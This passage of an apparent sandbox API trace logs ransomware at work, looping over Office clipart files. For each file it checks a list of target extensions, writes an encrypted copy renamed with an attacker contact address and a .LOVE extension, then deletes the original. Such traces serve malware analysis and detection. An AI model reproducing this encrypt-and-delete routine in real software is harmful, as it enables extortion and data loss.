Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0218.666] lstrlenW (lpString=".jpg") returned 4 [0218.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.694] GetLastError () returned 0x0 [0218.694] ReadFile (in: hFile=0x358, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x8b4, lpOverlapped=0x0) returned 1 [0218.703] WriteFile (in: hFile=0x320, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0218.705] ReadFile (in: hFile=0x358, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.705] WriteFile (in: hFile=0x320, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.705] SetEndOfFile (hFile=0x320) returned 1 [0218.705] CloseHandle (hObject=0x320) returned 1 [0218.705] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.705] SetEndOfFile (hFile=0x358) returned 1 [0218.706] CloseHandle (hObject=0x358) returned 1 [0218.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 1 [0218.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0218.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0218.707] lstrlenW (lpString=".doc") returned 4 [0218.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.707] lstrlenW (lpString=".docx") returned 5 [0218.707] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.707] lstrlenW (lpString=".pdf") returned 4 [0218.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.707] lstrlenW (lpString=".xls") returned 4 [0218.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.707] lstrlenW (lpString=".xlsx") returned 5 [0218.707] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.707] lstrlenW (lpString=".ppt") returned 4 [0218.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0218.707] lstrlenW (lpString=".zip") returned 4 [0218.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.708] lstrlenW (lpString=".rar") returned 4 [0218.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.708] lstrlenW (lpString=".bz2") returned 4 [0218.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.708] lstrlenW (lpString=".7z") returned 3 [0218.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0218.708] lstrlenW (lpString=".dbf") returned 4 [0218.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0218.708] lstrlenW (lpString=".1cd") returned 4 [0218.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0218.708] lstrlenW (lpString=".jpg") returned 4 [0218.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.708] GetLastError () returned 0x0 [0218.708] ReadFile (in: hFile=0x358, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x820, lpOverlapped=0x0) returned 1 [0218.803] WriteFile (in: hFile=0x320, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x830, lpOverlapped=0x0) returned 1 [0218.804] ReadFile (in: hFile=0x358, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.804] WriteFile (in: hFile=0x320, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.804] SetEndOfFile (hFile=0x320) returned 1 [0218.805] CloseHandle (hObject=0x320) returned 1 [0218.805] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.805] SetEndOfFile (hFile=0x358) returned 1 [0218.806] CloseHandle (hObject=0x358) returned 1 [0218.806] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.806] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 1 [0218.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0218.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0218.806] lstrlenW (lpString=".doc") returned 4 [0218.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.806] lstrlenW (lpString=".docx") returned 5 [0218.806] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.806] lstrlenW (lpString=".pdf") returned 4 [0218.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.806] lstrlenW (lpString=".xls") returned 4 [0218.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.806] lstrlenW (lpString=".xlsx") returned 5 [0218.806] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.806] lstrlenW (lpString=".ppt") returned 4 [0218.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0218.806] lstrlenW (lpString=".zip") returned 4 [0218.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.807] lstrlenW (lpString=".rar") returned 4 [0218.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.807] lstrlenW (lpString=".bz2") returned 4 [0218.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.807] lstrlenW (lpString=".7z") returned 3 [0218.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0218.807] lstrlenW (lpString=".dbf") returned 4 [0218.807] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0218.807] lstrlenW (lpString=".1cd") returned 4 [0218.807] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0218.807] lstrlenW (lpString=".jpg") returned 4 [0218.807] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.807] GetLastError () returned 0x0 [0218.807] ReadFile (in: hFile=0x358, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x7e4, lpOverlapped=0x0) returned 1 [0218.808] WriteFile (in: hFile=0x320, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x7f0, lpOverlapped=0x0) returned 1 [0218.809] ReadFile (in: hFile=0x358, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.809] WriteFile (in: hFile=0x320, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.809] SetEndOfFile (hFile=0x320) returned 1 [0218.810] CloseHandle (hObject=0x320) returned 1 [0218.810] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.810] SetEndOfFile (hFile=0x358) returned 1 [0218.811] CloseHandle (hObject=0x358) returned 1 [0218.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 1 [0218.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0218.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0218.811] lstrlenW (lpString=".doc") returned 4 [0218.812] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.812] lstrlenW (lpString=".docx") returned 5 [0218.812] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.812] lstrlenW (lpString=".pdf") returned 4 [0218.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.812] lstrlenW (lpString=".xls") returned 4 [0218.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.812] lstrlenW (lpString=".xlsx") returned 5 [0218.812] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.812] lstrlenW (lpString=".ppt") returned 4 [0218.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0218.812] lstrlenW (lpString=".zip") returned 4 [0218.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.812] lstrlenW (lpString=".rar") returned 4 [0218.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.812] lstrlenW (lpString=".bz2") returned 4 [0218.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.812] lstrlenW (lpString=".7z") returned 3 [0218.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0218.812] lstrlenW (lpString=".dbf") returned 4 [0218.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0218.812] lstrlenW (lpString=".1cd") returned 4 [0218.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0218.812] lstrlenW (lpString=".jpg") returned 4 [0218.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.813] GetLastError () returned 0x0 [0218.813] ReadFile (in: hFile=0x358, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x964, lpOverlapped=0x0) returned 1 [0218.833] WriteFile (in: hFile=0x320, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x970, lpOverlapped=0x0) returned 1 [0218.834] ReadFile (in: hFile=0x358, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.834] WriteFile (in: hFile=0x320, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.834] SetEndOfFile (hFile=0x320) returned 1 [0218.834] CloseHandle (hObject=0x320) returned 1 [0218.834] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.835] SetEndOfFile (hFile=0x358) returned 1 [0218.835] CloseHandle (hObject=0x358) returned 1 [0218.835] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.836] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 1 [0218.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0218.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0218.836] lstrlenW (lpString=".doc") returned 4 [0218.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.836] lstrlenW (lpString=".docx") returned 5 [0218.836] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.836] lstrlenW (lpString=".pdf") returned 4 [0218.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.836] lstrlenW (lpString=".xls") returned 4 [0218.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.836] lstrlenW (lpString=".xlsx") returned 5 [0218.836] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.836] lstrlenW (lpString=".ppt") returned 4 [0218.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0218.836] lstrlenW (lpString=".zip") returned 4 [0218.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.836] lstrlenW (lpString=".rar") returned 4 [0218.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.836] lstrlenW (lpString=".bz2") returned 4 [0218.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.836] lstrlenW (lpString=".7z") returned 3 [0218.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0218.836] lstrlenW (lpString=".dbf") returned 4 [0218.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0218.837] lstrlenW (lpString=".1cd") returned 4 [0218.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0218.837] lstrlenW (lpString=".jpg") returned 4 [0218.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.837] GetLastError () returned 0x0 [0218.837] ReadFile (in: hFile=0x358, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xed4, lpOverlapped=0x0) returned 1 [0218.911] WriteFile (in: hFile=0x320, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xee0, lpOverlapped=0x0) returned 1 [0218.912] ReadFile (in: hFile=0x358, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.912] WriteFile (in: hFile=0x320, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.912] SetEndOfFile (hFile=0x320) returned 1 [0218.913] CloseHandle (hObject=0x320) returned 1 [0218.913] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.913] SetEndOfFile (hFile=0x358) returned 1 [0218.914] CloseHandle (hObject=0x358) returned 1 [0218.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.914] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 1 [0218.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0218.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0218.915] lstrlenW (lpString=".doc") returned 4 [0218.915] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.915] lstrlenW (lpString=".docx") returned 5 [0218.915] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.915] lstrlenW (lpString=".pdf") returned 4 [0218.915] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.915] lstrlenW (lpString=".xls") returned 4 [0218.915] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.915] lstrlenW (lpString=".xlsx") returned 5 [0218.915] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.915] lstrlenW (lpString=".ppt") returned 4 [0218.915] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0218.915] lstrlenW (lpString=".zip") returned 4 [0218.915] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.915] lstrlenW (lpString=".rar") returned 4 [0218.915] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.915] lstrlenW (lpString=".bz2") returned 4 [0218.915] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.915] lstrlenW (lpString=".7z") returned 3 [0218.915] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0218.915] lstrlenW (lpString=".dbf") returned 4 [0218.916] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0218.916] lstrlenW (lpString=".1cd") returned 4 [0218.916] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0218.916] lstrlenW (lpString=".jpg") returned 4 [0218.916] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.916] GetLastError () returned 0x0 [0218.916] ReadFile (in: hFile=0x358, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x5a8, lpOverlapped=0x0) returned 1 [0218.961] WriteFile (in: hFile=0x320, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x5b0, lpOverlapped=0x0) returned 1 [0218.962] ReadFile (in: hFile=0x358, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.962] WriteFile (in: hFile=0x320, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.962] SetEndOfFile (hFile=0x320) returned 1 [0218.962] CloseHandle (hObject=0x320) returned 1 [0218.963] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.963] SetEndOfFile (hFile=0x358) returned 1 [0218.964] CloseHandle (hObject=0x358) returned 1 [0218.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.964] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 1 [0218.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0218.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0218.965] lstrlenW (lpString=".doc") returned 4 [0218.965] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.965] lstrlenW (lpString=".docx") returned 5 [0218.965] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.965] lstrlenW (lpString=".pdf") returned 4 [0218.965] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.965] lstrlenW (lpString=".xls") returned 4 [0218.965] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.965] lstrlenW (lpString=".xlsx") returned 5 [0218.965] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.965] lstrlenW (lpString=".ppt") returned 4 [0218.965] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0218.965] lstrlenW (lpString=".zip") returned 4 [0218.965] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.965] lstrlenW (lpString=".rar") returned 4 [0218.965] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.965] lstrlenW (lpString=".bz2") returned 4 [0218.965] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.965] lstrlenW (lpString=".7z") returned 3 [0218.965] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0218.965] lstrlenW (lpString=".dbf") returned 4 [0218.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0218.965] lstrlenW (lpString=".1cd") returned 4 [0218.965] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0218.965] lstrlenW (lpString=".jpg") returned 4 [0218.966] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.977] GetLastError () returned 0x0 [0218.977] ReadFile (in: hFile=0x358, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x6e8, lpOverlapped=0x0) returned 1 [0219.027] WriteFile (in: hFile=0x320, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x6f0, lpOverlapped=0x0) returned 1 [0219.028] ReadFile (in: hFile=0x358, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0219.028] WriteFile (in: hFile=0x320, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0219.028] SetEndOfFile (hFile=0x320) returned 1 [0219.028] CloseHandle (hObject=0x320) returned 1 [0219.029] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0219.029] SetEndOfFile 